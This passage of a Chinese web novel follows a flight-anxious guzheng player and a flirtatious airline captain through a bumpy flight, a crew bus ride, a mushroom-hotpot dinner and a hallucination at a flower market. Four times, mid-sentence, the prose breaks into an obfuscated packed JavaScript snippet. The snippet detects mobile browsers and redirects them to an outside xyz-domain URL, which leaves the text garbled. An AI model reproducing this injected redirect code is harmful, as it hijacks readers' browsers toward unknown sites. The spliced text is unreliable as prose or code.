出于礼貌,她应该告诉他自己如约而至,并未辜负他的好意。 进入客舱刚找到自己的位置坐下,她就收到段莫凡的回应。 “落地后等我。” 许黎念愣了一下,发了个“?”过去。 他回:“云城机场离城区很远,可以坐机组班车。顺风车,你懂得。” 好一个顺风车! 她对着这条信息哭笑不得,合理怀疑他是不是在内涵自己。 接着就收到他另一条信息,“而且空间很大,完全可以放下古筝,包括那个大家伙。” 这个梗看来是过不去了。 她决定不去思考究竟是不是内涵,从一种角度又何尝不是他考虑周全呢。 至少他说的这两点,很实际,没有拒绝的理由。 她回了个“OK”的表情包。 *** 飞机开始滑行,许黎念的紧张感又加剧了一点,幸好药物快起作用了,她已经感受到了困意。 扣紧安全带,调直椅背,双臂抱胸,闭上双眼。 只希望一切顺利,一觉睡到云城。 然而很多时候事与愿违,在平稳飞行了一个多小时之后,飞机开始频繁颠簸,从左右晃动,到直上直下。 突如其来,强烈的失重感一下把许黎念惊醒,惊得她心怦怦直跳,手紧紧抓住座椅扶手。 还没缓过神来,紧接着又一个巨大的落差,像坐上了刺激的过山车,一瞬间甚至感觉屁股离座飞了起来。 客舱广播不断,乘务员嗓音温柔地提醒着大家系好安全带,收起小桌板…… 熟到多坐几次飞机都能背出来的一段话,好像例行公事,安慰效果聊胜于无,甚至很少有人会去仔细听这些。 随着又一个剧烈颠簸,周边有人惊叫一声,小孩也哭闹起来,甚至有人开始呕吐。 而许黎念害怕得根本发不出声来,只是胃里焦灼地翻滚着,头晕晕乎乎,难受得想要呕吐。 机舱抖得像筛子,看一眼就让人天旋地转。 她紧闭着双眼从口袋里摸出一颗强劲的薄荷糖放入嘴中,希望这种超强的凉感能够压住这种难受,让自己迅速平静下来。 广播“咚”了一下,再次响起。 “各位旅客,我是本次航班的机长,我们的飞机正在颠簸,是由于我们正在穿越不稳定的气流区域,这是飞行中出现的正常现象。我们会及时与空管沟通,寻找平稳空域,争取尽快恢复舒适的飞行体验。请大家不要惊慌,我们会将大家平安送达云城,感谢您的理解与配合。” 他的声音很有磁性,语气和缓平静,一下子让乱哄哄的客舱安静了下来。 人的恐惧多数源于对未知的无力掌控。对于乘客来说,机长广播和乘务员广播有着很大的区别,机长了解所有信息,直接掌控着整个飞机的安全,他这么一解释瞬间消除了许多乘客的紧张不安。 许黎念听着他的广播,再想到他的样子,莫名也平静了一些。 好歹开飞机的人认识,不算熟人,至少照过面聊过几句,是具象化的,这样就多了一些安全感。 薄荷糖的凉感很强劲,凉得有点发苦,刚刚背上出了一层冷汗,此刻回过神来更是感觉凉飕飕。 还好没有吐出来,也算有进步。 胃里还是很难受,她想要一杯水,但是还在颠簸,客舱服务暂停,只能轻闭双眼,感受着凉意默默深呼吸。 不知过了多久,舷窗外流云散去,重现碧蓝晴空,飞机终于恢复了平稳。 许黎念松了一口气,抬手按了服务铃。 空乘走了过来,微笑着说:“女士您好,请问有什么需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542841|171062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要?” “你好,我想要一杯温水。” “好的,请稍等。” 空乘很快端了水过来,又说:“女士,您的脸色看起来不太好,请问有没有什么不舒服?” 不用照镜子也知道自己脸色肯定惨白,每次飞行都像一场心灵与□□的双重酷刑。 “谢谢,没有不舒服。”她浅浅一笑,“可能刚才太紧张了。” 空乘温柔安慰:“云城在南方高原地区,这个季节风很大,经常会遇到很强的气流,不用太担心。” 许黎念嘴角勉强扯出一丝笑意,点了点头。 “那您休息一下,有需要再叫我们。” *** 飞机终于准点顺利降落,客舱里响起那首熟悉的钢琴曲。 许黎念紧绷的心弦终于松下来,脚踏实地的感觉真好,每次落地都有一种劫后余生的感觉。 下了飞机,她先去大件行李处拿古筝,还是那只又宽又大,回头率百分百的琴箱。 乘客都走得七七八八了,机组还没出来,旁边就是洗手间,她走进去对着镜子照了照。 头发有点乱,嘴唇发白,神色有些疲惫。 她是淡颜系,皮肤白嫩,没有痘痘斑点,面部折叠度没有那么高,五官也没有侵略性,是那种温婉秀气,带点文艺气息,属于很舒服很耐看的长相。 她不工作时基本不化妆,但会显得有些没气色,所以会涂一点日常系的唇膏出门。 从随身的托特包里翻出一把气垫梳,将披散的冷茶棕长发梳顺,又在唇上薄涂一层豆沙色的口红,然后拿出保湿喷雾朝着脸喷了几下,轻轻拍一拍,整个人瞬间精神了不少。 许黎念走出洗手间,又等了几分钟,机组通道那边终于有了动静。 一行清一色藏青色制服的机组人员拉着行李箱鱼贯而出,段莫凡就走在最前面。 就在视线交汇的一瞬,他嘴角浮现笑意,拿着制服帽子的手,高高举起朝她挥了挥。 很明显他是个E人,没有一丝尴尬怯场,甚至给人一种老友相见的熟络感。 “哇哦,机长,这大美女谁啊!” “家属免费权限这么快就用上了?我们错过了什么!” “终于知道机长为什么突然飞云城这条航线了!” 机组里立刻有了起哄声。 那么多双眼睛忽然都看向她,还夹杂着些调侃的话语,许黎念避无可避,突然觉得好尴尬,好后悔没带个口罩,更后悔的是自己没有坐车先走! 人在尴尬的时候就会显得特别忙碌,她假装推拉了下行李箱,又扯近了下本来就在身旁的琴箱。 “尾号0222,咱们又见面了。” 就在这时他已经走到她的身畔,微倾着身子看着她,风趣地拖着带笑意的腔调。 就是说他本人和工作时反差还挺大的,如果没见过他,听着机长广播脑补的应该是个成熟稳重的男人。 许黎念眼睛余光偷偷瞥了眼陆续经过的机组人员,他们嘴角似乎都带着点窃笑,似乎在偷偷观察他俩。 她怕人误会似的,又似缓解尴尬般地开口,“那天黑灯瞎火的,我还戴着口罩,不怕认错人吗?” “错不了。”他嘴角勾了下,语气笃定,眼神看向一旁的琴箱,“就这大家伙,想认错都难。” 也是…… 带着这么个黑黢黢的大家伙,路过的人都会好奇看上一眼。 琴箱比她有辨识度多了。 许黎念只能“哈哈”干笑一下。 “不过——你和我想的不太一样。” “嗯?” 许黎念疑惑地抬头看他。 他却只是笑笑,“走吧,车在外面。” 5. 第 5 章 正是傍晚时分,天空是浅浅的灰紫色,很有韵味。 机组班车已在停车场等候,是一辆考斯特,的确能轻松平放她的古筝。 许黎念在一群深色制服中特别显眼,她今天是Lululemon女孩,上身是淀粉蓝scuba,搭骨白色泡芙马甲,下身是太阳灰瑜伽裤,配萨洛蒙的银灰色运动鞋,都是浅色系,对比很是强烈。 这是她平时最喜欢的穿搭,休闲运动两不误,舒适第一。 她默默地跟在队伍最后面,看到段莫凡并没上车,而是闲闲地站在车门旁刷手机,听到琴箱滑轮的声音才掀起眼皮。 “来吧,这大家伙交给男士。” 许黎念没有松手的意思,微笑着婉拒:“不用了,我可以。” 他忽然朝他俯身,高大的身形立刻在她面前形成一道阴影。 “许黎念小姐,”喉结随着轻笑震动,“给个将功补过的机会?” 这距离过于近了,许黎念本能地头往后仰,与之拉开距离,握着拉杆的手却依然没有松。 他直起身,耸了耸肩,自我调侃,“果然信任感一旦崩塌,很难再重建。” “不是……我只是不太习惯自己明明能做到,却要别人帮忙。” 段莫凡微笑着点点头,没有再坚持。 长腿一迈上了车,对机组成员说:“你们东西都往前放,过道留给这个大家伙。” 有人好奇问:“这是什么呀?” 此时许黎念正在把琴箱搬上车。 段莫凡的余光瞥见琴箱上的卡通熊猫贴纸,话锋一转,“国宝级设备。” 这人该不会是在记仇刚刚驳他面子吧! 车内哄堂大笑,许黎念耳尖微微泛红,下意识地瞪了他一眼,他却只是挑了挑右侧的眉毛,嘴角附和着笑意。 “我这是古筝,只不过琴箱有点大。”她解释着,怕人更多的探究。 “哦!~~” 古筝小仙女! 众人一副恍然大悟,又偷笑着交换眼神。 许黎念很疑惑他们怎么这样的反应,是有什么她不知道的梗?还是真的都没见过这么大的乐器?航司工作见识过形形色色的东西不应该吧? 她尴尬地扯出一丝笑意:“抱歉,给大家添麻烦了。” 等她摆放好古筝,直起身子抬头,发现只剩两个位置,机长身旁,以及最后一排中间对着过道的。 她低下头,毫不犹豫地走向最后一排。 发现旁边坐的正好是飞机上问她是不是不舒服的空乘。 许黎念朝她微微一笑,坐了下来。 对方也认出她来了,笑着小声说:“机长也太低调了,不提前说一下有朋友在飞机上,我们也好特别关照一下。” 许黎念不知道该怎么解释这件事,一句两句说不清,而且没必要和陌生人说得彻头彻尾。 她礼貌地弯了弯嘴角没说话。 “这个位置容易摔跤,你俩怎么不坐一起?” 空乘的眼神朝着段莫凡的方向指了指,疑惑两人怎么这么疏远。 许黎念顺着她的视线看过去,见段莫凡一个人坐着两个位置,舒服地靠在椅背上玩手机,一条长腿伸在过道里,正好抵住她琴箱的一头。 谁又能知晓他们不是朋友,只是一起意外引发的特殊陌生人。 “没关系,后面宽敞一点。” 空乘没再追问,猜测可能当着这么多人的面不好意思,避嫌呢。 只是许黎念这话说完没多久就被啪啪打脸,一个急刹车,她连抓手的地方都没有,人不受控制地往前倾,还好旁边的空乘眼疾手快地拉了她一把。 “段机长,你也太不体贴了,差点摔倒!”空乘朝着前面喊。 段莫凡应声往后看了一眼,看到她的手还拉着许黎念的胳膊,立刻明白了过来。 他看向许黎念。 “坐过来啊。” 见她犹豫,他又补了句:“或者我过去?” “好霸道哟!” 许黎念听到有人在小声调侃。 这男人看起来是能做出这种事的人,这么多双眼睛看着,为防止更多乱七八糟的猜测,她默默起身,扶着座椅靠背往前走。 他往外面挪了挪身子。 “你坐里面,我帮你抵着点国宝,可不想再折我手里。” 炫耀腿长是吧,好吧,确实被他炫到了,至少她的腿抵不住那么大个琴箱。 许黎念点点头,侧着身子坐了进去。 突然和一个不熟悉的男人靠这么近,她其实有点不自在。尤其他身形高大,座位其实没有那么宽敞,就显得两人靠得更紧,甚至袖子都是碰在一起的,甚至能闻到他身上极淡的木质调香味。 聊天又不熟,听歌显得不礼貌,于是她打开手机玩抓大鹅。 总要找点事做,才没那么尴尬。 他应该是瞥到了她玩的游戏,像是想到什么似的,从口袋里摸出一只弯脖鸭子挂件,捏着吊绳,半转过身去看向右后方的空姐。 “蔡蔡,你这鸭子不行,这都在驾驶舱晒半天了,根本没有变成烤鸭。” 被cue的空姐抬头一看,见塑料鸭子还是白白的色泽,说道:“我看评论区都变成烤鸭色了呀。唉,又被骗了!算了反正才两块五还包邮。” 段莫凡无情吐槽,“这玩意两块五?我看你像个二百五。” 这么一说吧,车厢里气氛都活跃了起来,大家你一言我一语的。 “机长,有没有可能这是车载鸭,你是机载,打开方式不对。” “看来驾驶舱玻璃挺防紫外线的。” “感觉还蛮有意思的,弯脖子上套根上吊绳,有种打工人淡淡的死感,蔡蔡发我链接。” “有没有可能是商家忘给这只上糖色。” “被你们这么一说,都想吃烤鸭了。” 然后他们的话题就开始聊晚饭吃什么,下班后可不就是吃吃喝喝放松一下嘛。 原来他们还挺搞笑,和所有打工人都差不多,差点被那身制服的端庄气质给骗了。 许黎念默默听着偷偷笑。 一个抬头正好对上段莫凡的视线,她嘴角那点偷笑来不及收回。 “送你喽,希望抓鹅顺利。” 他果然是看到了她在玩抓大鹅,可能颠锅的幅度大了点。 他手指捏着鸭脖子上的吊绳,小小的鸭子晃晃悠悠,还真有点像她抓的大鹅。 她尬笑了一下,伸手接过去,随口问一句,“你也玩?” “不就是消消乐嘛,有啥好玩的。” 他说话时气息拂过她头顶,带着点不屑一顾。 许黎念腹诽,别嫌弃玩抓大鹅幼稚,某些人还不是把个塑料鸭子放驾驶舱玩半天,一想到开飞机还在晒烤鸭就很搞笑。 *** 车子大概开了一个小时,终于到达机组下榻的酒店,是一家比较老牌的五星级酒店,位于闹市区,周边各种店铺林立,很是便利。 机票和住宿都是段莫凡安排的,许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542842|171062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黎念有点过意不去,想着要不请他吃个晚饭。 办理完入住,拖着琴箱走到电梯口,见段莫凡正好也在等电梯。 不得不说他的体态真的很顶,再加上制服的加持,只是微低着头站在那儿看手机就是一道风景线,谁都会忍不住看上两眼。 墙面的大幅镜子倒影出她的身影,他注意到了,抬起头来,两人的目光在镜中交汇,他嘴角弯起笑了一下。 许黎念握着拉杆的手紧了紧,开口:“你晚上有空吗?” “嗯?” 他握着手机的手垂下,转头看向她,目光玩味。 “我想请你吃顿晚饭。”许黎念无视他探究的目光,很正气地解释,“不喜欢欠人情。” “好啊,美女邀约哪有拒绝的道理。” 依然是那种慢条斯理的语气。 说话间电梯来了。 他伸出手抵在门口,做了个请的姿势,“女士优先。” 顺手还帮她扶了把琴箱。 许黎念走进电梯后靠后面贴着轿壁,特地把琴箱放在身前,挡住点与他的视线接触。 “几楼?” 他站在琴箱前侧,刷着房卡问她。 许黎念看了下手中的房卡,又探头从镜壁中看了下他按的数字。 “一样的。” 然后没有再交谈,直到电梯门再次打开,两人朝着同一个走廊方向走去,最后站在相邻的两个房间门口。 “哟,这么巧,缘分呐——” 段莫凡轻倚在1609的门框上,指尖绕着房卡轻轻转动着,制服上四道金色的杠条在廊灯下晃出一些光晕,“这可不是我安排的……” 他拖长着语调,嘴角勾起一抹玩世不恭的笑,声音又带着独特的磁性,莫名有一种说不清道不明的暧昧感。 许黎念脸色微红,他说这话的意思,该不会以为是她故意要住他隔壁吧!太狗血了,谁会这样啊! 她尽量无视这种感觉,一手搭在门把手上,一手刷着房卡,十分正色地说:“半小时后大堂见。” 门开的一刹那她立刻钻了进去,门关上之后听到走廊传来慵懒的口哨声,然后就是隔壁的开关门声。 门廊处的镜子倒映出她绯色的脸颊,她这才惊觉自己心跳得厉害。 轻易能撩拨人的狗男人! 她拍了拍脸平复心情,放下行李,三两步脱下鞋子,往床上一倒。 由于恐飞,每次坐完飞机她都感觉很累,还头昏脑胀的,她需要休息调整一下。 顺便看看吃什么。 半小时后,许黎念准时穿上鞋出门,关门的一刻,隔壁也正好开门。 要不要这么巧,他也掐着时间了? 段莫凡脱掉了制服,换上了一件宽松的黑色夹克,里面是白衬衫,领口的扣子依然敞着,也没有系领带,休闲随性,更显几分痞帅。 许黎念微愣一下,无视他那双看啥都很有感情的眼睛。 “菌子火锅吃吗?” 他嘴角含笑,“这么隆重,还以为许小姐一碗过桥米线就把我打发了呢。” 许黎念翻了个白眼,“那吃米线。” “别呀,来云城就得吃菌子火锅。” 许黎念心想那你废什么话,就你话多。 “我找了家评价还不错的店,离这儿大概两公里。” “太棒了!”他举起大拇指给她点了个赞。 许黎念心想,他在棒什么? 不过情绪价值确实给到位了。 6. 第 6 章 两人一前一后出了酒店。 两公里的距离其实有点尴尬,打车太近,有些司机会拒载,而且这个点还有点堵车,步行的话大概要20分钟,又太久。 段莫凡看着人行道上一排排共享单车,说:“你会骑电动车吗?” “会。” “那就行。” 他也不废话,抓过其中一辆的笼头摇了摇。 “这辆,电量足。” 许黎念有点错愕,这么说吧,就她这种生活水准的,使用共享单车的机会也不多,她都不知道摇一摇看电量。 段机长还是太有生活气息,太接地气,松弛感绝了。 “你看起来很有经验嘛,经常骑?” 他长腿跨坐上一辆,挑了下眉:“很方便不是嘛,两公里堵车的路程还有比这更优的选择吗?” 好像是这个道理,许黎念默默点了点头,也许以后去别的城市演出也可以这样的出行方式。 “人生嘛,就要多点体验感。” 他说这话的时候已经拧动把手,骑了出去,甚至还轻哼起了歌。 许黎念跟在后面,觉得难以名状。 坐过了他开的飞机,他开的顺风车,现在一起在陌生的城市骑电动车。 真是一种神奇的体验! 夜色如水,霓虹闪烁,晚风微凉,吹动着她的发丝。 云城真好,冬天一点也不冷,四季如春名不虚传。 非机动车道上电动车堆挤在一起等红绿灯,在信号灯跳成绿色的一刹那,急不可耐地冲出去。 许黎念忽然觉得这场景好像抓大鹅颠勺,颠一颠,四散开去。 而前面那个机长,人高马大,共享电动车又那么迷你,他蹲在上面真的很大一只。 电动车鹅! 她忽然冒出这样的想法,止不住想笑。 *** 两人很快就到了“山珍野味楼”的门口,是一栋门庭开阔,上下两层的民族雕花木楼,弯翘的檐角铜铃声声,楼前花草彩灯映照,楼内窗明几净灯火通明,腾腾的热气中人头攒动。 这家藏在老城深巷处的菌子火锅店,客源却不少,门口的长板凳上已经有好些人在等位。 还好许黎念提前预定了位置。 服务员引着两人进去,一进门就鲜香味扑鼻,穿越人声鼎沸,在靠里面的小桌落座。 两人面对面而坐,许黎念把菜单递给段莫凡。 “你看一下,想吃什么随便点,不用客气。” 他没有接菜单,拿起桌上茶壶给两人倒茶。 “客随主便,我没有忌口。” 塑封的菜单一共就正反两面,许黎念粗粗看了一遍,问一旁的服务员,“美女,推荐一下。” “两位的话,这个双人套餐还不错,包括八种野生菌,土鸡或鸭任选一只,还有烤乳扇一份,油炸豌豆粉一份,啤酒或可乐两罐,水果小料自取。” 许黎念点点头,看向对面。 “你看呢,就这个?” “没问题。” “嗯,不够再加,你想吃鸡还是鸭?” 段莫凡挑挑眉,“鸭吧,毕竟都聊了一路。” 吃不了烤鸭,那就吃个菌汤老鸭煲,热乎乎的鲜汤,想想都美味。 这么想着,许黎念都有点等不及了。 好在这家店效率挺高,服务员很快就端着冒热气的铜锅上来,一边介绍着野生菌,一边往锅里下。 “这是鸡蛋菌、牛肝菌、见手青……” 各种菌菇在乳白色的浓汤里沉浮,服务员将计时器放在桌上。 “野生菌毒性大,一定要等时间到了再吃。” 两人了然地点点头,服务员便也去忙了。 段莫凡端起茶杯喝了口水,说:“明早9点,出发去古城见陆大师,许小姐起得来吗?” “我没问题,你不用飞吗?” “最近几天不用,正好可以在云城玩几天。” 许黎念也喝了一口茶,心头的话滚了两遍还是开口:“其实你给我地址,我自己去就成。” 段莫凡唇角抿出一点笑意,“许小姐这么不待见我啊。” “不是,我怕麻烦你。” “为美丽的女士效劳怎么能是麻烦。” 他说着微站起身来,给她茶杯添了点水。 许黎念垂眸避开他的视线,浅笑着说了声“谢谢”。 随他去吧,陌生地方有个人作伴也不错。 店堂中央有个高台,四面木柱围着,白色纱帘轻挽,高台上放着一架古筝,正是表演时间,穿着汉服的小姐姐弹起了悠扬的曲子。 现在很多餐厅都会有歌舞器乐表演,增添气氛,增长人气。 一时无话,两人的视线被琴声吸引过去。 “这是什么曲子?”段莫凡问。 店堂内人声嘈杂,两人离高台还有点远,但是旋律经典,几个音飘过来就能辨出。 许黎念脱口,“渔舟唱晚,古筝名曲。” 他夸道:“不愧是专业的。” 许黎念摆摆手,“嗐,这和专业没多大关系,喜欢国乐的应该都知道。” 他道:“怪不得是名曲,是好听。” “技法上来说这首曲子没有难度,算是入门级别,但是要弹出那种意境来也是不容易的。” “那个小姑娘弹得如何?” “在餐厅里表演足够了。” 事实上,她在学生时代也去餐厅,商场,婚宴等兼职过。大家都是看个热闹,没多少人真正关注弹得水准如何。 他了然地点点头,顿了顿又说:“什么时候能有幸看到许小姐的演奏。” 许黎念想都没想,脱口道:“下次送你演出票。” “下次是什么时候?” 许黎念愣住了。 就像很多人都会说下次一起吃饭,其实根本没有,也从来没人较真过,不过一句社交客套话。 他故意皱皱眉,看着她,“我可等着,别是客套的场面话,我会伤心的。” 她哈哈笑,“放心,不会的。” 吃饭能拉近人的关系,感觉没那么陌生拘谨了,不用拼命找话题维持客套,甚至能开开玩笑了。 她在笑,他在看。 “你跟我想的不太一样。” “怎么说?” 他指指高台上的女孩,说:“印象中弹古筝的都是穿这种仙气飘飘的中式衣服,看起来都比较清冷不食人间烟火。” 说着还比划了个广袖流云的动作。 “你这绝对是标签化的刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542843|171062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板印象,那是工作需要嘛,生活中谁会时刻绷着端着?” 就像他飞行时也挺专注,关键时刻还能安抚乘客的紧张,私下就,嗯…… 段莫凡正想开口,手机响了起来,看了眼便站起身来。 “我出去接个电话,你先吃。” 锅中早就浓汤翻滚,香气扑鼻实在令人垂涎三尺,食指大动。 因为恐飞,许黎念在飞机上什么也没吃,此刻早已饥肠辘辘。 桌上没有碗筷调羹,她想估计是生意太好,服务员忙忘记了。 往四周看了看,见不远处的消毒柜里有碗筷,便过去自己拿。 想着先喝碗汤润一润。 许黎念舀起金黄油亮的靓汤,浓香鲜甜在口腔中炸开,这新鲜的野生菌果然名不虚传,简直好喝到眉毛鲜掉。 她连喝了几口,回味不已。 桌上的计时器“滴滴”响了起来,服务员拿着碗筷走过来,看到她已经吃上了,不禁大惊失色。 “小姐,你这碗筷……” 许黎念手里还捏着调羹,看着对方,“不是自取吗?” “没到时间会中毒的!” 服务员一脸着急不知道该怎么办,只能把老板找了过来。 “小姐,你现在感觉如何?身体有没有麻木感或者幻视?” 许黎念摇摇头,“没有,我看汤开了就喝了两口,没吃菌子,应该不会有事吧?” 老板一脸无可奈何:“汤也不行,我们不发碗筷就是为了防止客人没到时间就吃。” 老板心想又来一个嘴硬的大馋丫头,一边观察她的神色,一边十分有经验地吩咐:“快把留样盒拿来。” 万一中毒,留个样很重要。 许黎念觉得老板有点夸张了,就两口汤哪有那么邪乎。 “我真的没事……” 话音未落,段莫凡走了进来,“怎么了?” 老板看向他,说:“你女朋友喝了没熟的菌汤。” “不是……” 许黎念想解释两人不是情侣关系,但是老板不给她说话的机会。 “如果出现身体不舒服或是幻视,一定要马上送医院。” “好的,好的。”段莫凡点点头。 老板大概是这种情况见多了,交待了几句,叹口气摇了摇头走了。 段莫凡转头看向有些木楞的许黎念,笑了笑:“听说幻视的世界很精彩。” 许黎念瞪他一眼,“神经!那你也喝。” 他笑嘻嘻,“这不时间已到,晚了嘛。” “一点也不晚。”许黎念皮笑肉不笑地递上自己那碗汤,“正好还剩一点。” “哇,许小姐,这样会不会有点暧昧了?” 又是那种慢条斯理的腔调,外加笑眼看着她。 许黎念这才注意到自己这种行为,不就是让他吃自己的碗嘛,被他这样一调侃瞬间有点恼羞成怒。 可这样一来,不就正好落入他的圈套了吗! 于是这一次,她淡定放下碗,也扯了点笑回敬他:“段机长经常这样调戏女孩吧!” 他无辜摊摊手,“冤枉,我可什么也没做。” 许黎念无视他,抓起筷子从铜锅里夹了块鸭腿。 “反正这套对我没用。” 7. 第 7 章 从火锅店出来时,月亮已爬上屋檐。 许黎念揉了揉有点撑的肚子,呼吸了口微凉的新鲜空气,看向身旁的段莫凡。 “吃太饱了,我打算走回去消消食,你先走吧。” 他道:“一起吧,万一你半路毒发。” 许黎念真是被无语笑了,“我觉得老板说得太夸张了,一顿饭都吃完了,我这不是好好的嘛!” 他耸耸肩,“但愿如此。” 月光如水,洒在深巷小径上,两人并肩而行,影子在月色下时而重叠,时而拉长,有一种难以言说的微妙感觉。 路过灯火通明的花卉市场,都说云城的鲜花堪比白菜价,晚市的更是不要钱似的,可以说没有一个女人能够空着手从里面出来。 “我想进去看看,要不你先走?”许黎念转头看向身旁的段莫凡。 “许小姐,今晚,你第二次赶我走了。” 段莫凡微微挑眉,嘴角勾起一抹不羁的弧度。 “不,我也解释过几次了,只是怕给人添麻烦引起不愉快。”她语气坦率,“或者说这个点你不用给女朋友打视频报备的吗?” “我看起来有女朋友?”段莫凡哈哈一笑,笑声爽朗而肆意。 “嗯,不止一个的样子。” 她看着他那张容易招桃花的脸,十分正色地重重点了点头。 段莫凡愣了两秒,一笑了之,似乎在笑她识人不准,却也懒得解释。 许黎念没有再管他,抬腿往里面走。反正话都说清楚了,没有强迫他逛花市,去留随意。 花卉市场比她想象的更大,一眼望不见尽头,上下四五层的空间里,全是各种各样的鲜花,连空气都是清新芳香的。 平日里在花店束之高阁的鲜花,在这里摆的像菜市场。果然物以稀为贵,人靠衣装佛靠金装,鲜花也不例外。 “不要你离开,距离隔不开……” 身旁的段莫凡唱起了周杰伦的《花海》,显然置身这样的环境中,他的第一反应也是花海,才一下想起这首歌。 不得不说他唱歌还蛮好听的,虽然只是随意哼几句。 就这种令人叹为观止的景象,很难能忍住不拿起手机拍一张照片。 许黎念拍了张花海的照片随手发给闺蜜顾悠。 “要不要花,给你寄。” 顾悠很快回了消息,一连串的“啊啊啊,好漂亮,当然要。”后面还跟着几个表情包。 “那我看着买哈,很多花都叫不上名,但是都超漂亮。” 许黎念一边回复着,一边四处张望着,眼睛里满是新奇。 “开视频,我挑一挑。”顾悠回。 “这个点你有空视频,不用上课?” 顾悠是她的同学,现在开了一家琴行,专门教小朋友弹古筝。许黎念有空也会去琴行兼职,有民乐团青年古筝演奏员这个身份标签在,课时费还是挺可观的。其实做他们这行的基本都有副业,光靠乐团那点工资可不太够。 “刚好下课。” 顾悠那头回完这句话,视频通话便打了过来。 许黎念接通后便翻转镜头对准身前摊位上的鲜花,绣球花挤挤挨挨堆在塑料桶里,重瓣芍药也没有那么高贵了直接堆在泡沫箱里,黄玫瑰上夹着10元一把的牌子,紫罗兰更是低到6元一把…… 便宜到让人恨不得批发回家开花店! “哇,我这辈子都没见过这么多颜色的菊花,我勒个欢天喜地七仙女啊!”顾悠在那头感慨着,“这个紫色,绿色的菊花,蓝白渐变的玫瑰,还有向日葵通通要,你再往后面给我看看。” 许黎念依言举着手机往后走,转身的瞬间,镜头不可避免地扫到了一旁的段莫凡。 他正站在一个摊位前,身姿挺拔,手里拿着几朵蓝色的花,边比划边和摊主大姐聊着什么,惹得大姐笑出一脸褶子,开心地帮他把花绑上粉色丝带,编成一个手环的模样。 这家伙,连卖花大姐都不放过! 许黎念鄙夷地皱了皱眉,准备转身无视,只听得视频那头顾悠分贝高了几分。 “前面那个拿着蓝色花的帅哥是谁!不会是哪个明星吧,你往前点看看呢!” “不认识,路人。” 许黎念敷衍地扯个谎,正要移开镜头,段莫凡余光瞥见她,朝她转过身来。 突然的四目相对完全避不开,许黎念做贼心虚似的垂下举着手机的手。 他唇角弯起弧度,朝她晃了晃手中的花环。 “这是蓝星花,很衬你今天的穿搭。” 后面大姐笑着插话,“小伙子太会哄人了!” 他真的好会,肯定这样撩过很多女人! “SO?” 许黎念像个绝缘体,站着没有接手。 他挑了下眉,“许小姐,不用这么大恶意吧!” 许黎念没有接话,短暂的静默,没有挂断的通话,顾悠突然放大声音打破寂静。 “你不是说路人不认识吗,怎么还送你花呢,女人你给我……” 许黎念及时按下挂断,耳边终于清净了。 “抱歉。” 她唇角浅浅一弯,转身去刚才的摊前挑花付钱给邮寄地址。 段莫凡走到她身旁,“许小姐对我是不是有什么误解?” “没有啊。” 她弯着腰忙碌地从塑料桶里挑花,没看他一眼。 “纯粹觉得很衬你,没有其他意思。” “真的吗,可我不习惯如此。” 她是一个很有边界感的人,而且在她的认知里,他刚才的举动是暧昧的。 应该不止她有这样的认知,否则摊主大姐,闺蜜就不会说那样的话。 容易让人误解,不是吗? “我们算朋友吗?”他问。 “算吗?”她抱着一束向日葵,很平静地看向他。 “不算吗?”他疑惑。 “我没那么自然熟。”许黎念将花束递给摊主,然后看着他郑重说:“段先生,你越界了。” 在她心里,两人只不过机缘巧合有了一点交集,最紧密的事不过吃了一顿晚饭,毫无了解的两人,怎么能算朋友? 朋友至少要一起经历一些事情,有足够的了解,彼此能够信任。 “OK。”他举双手投降,往后退开一步,“Takeiteasy。” “老板,就这些,多少钱。” “82,凑个整算80吧。” “谢谢。” 许黎念拿起手机准备付款,抬头竟然看到一只向日葵大鹅拿着绿色的二维码看着她。 不可思议! 她以为自己眼花,往后退了一步,正好有人推着一车鲜花经过,眼见着就要拦腰撞上,段莫凡拉了她一把。 她转头,见一只长脖子蓝花大鹅正搂着她。 这个世界真是疯了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542844|171062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她伸出手抓了一把,听到一声鹅叫。 难道是花市场景版抓大鹅? 好好玩的样子。 前方更是出现一堆花花绿绿的各种花卉,都发着光在朝她舞动着。 消掉这些,就能抓住蓝花大鹅。 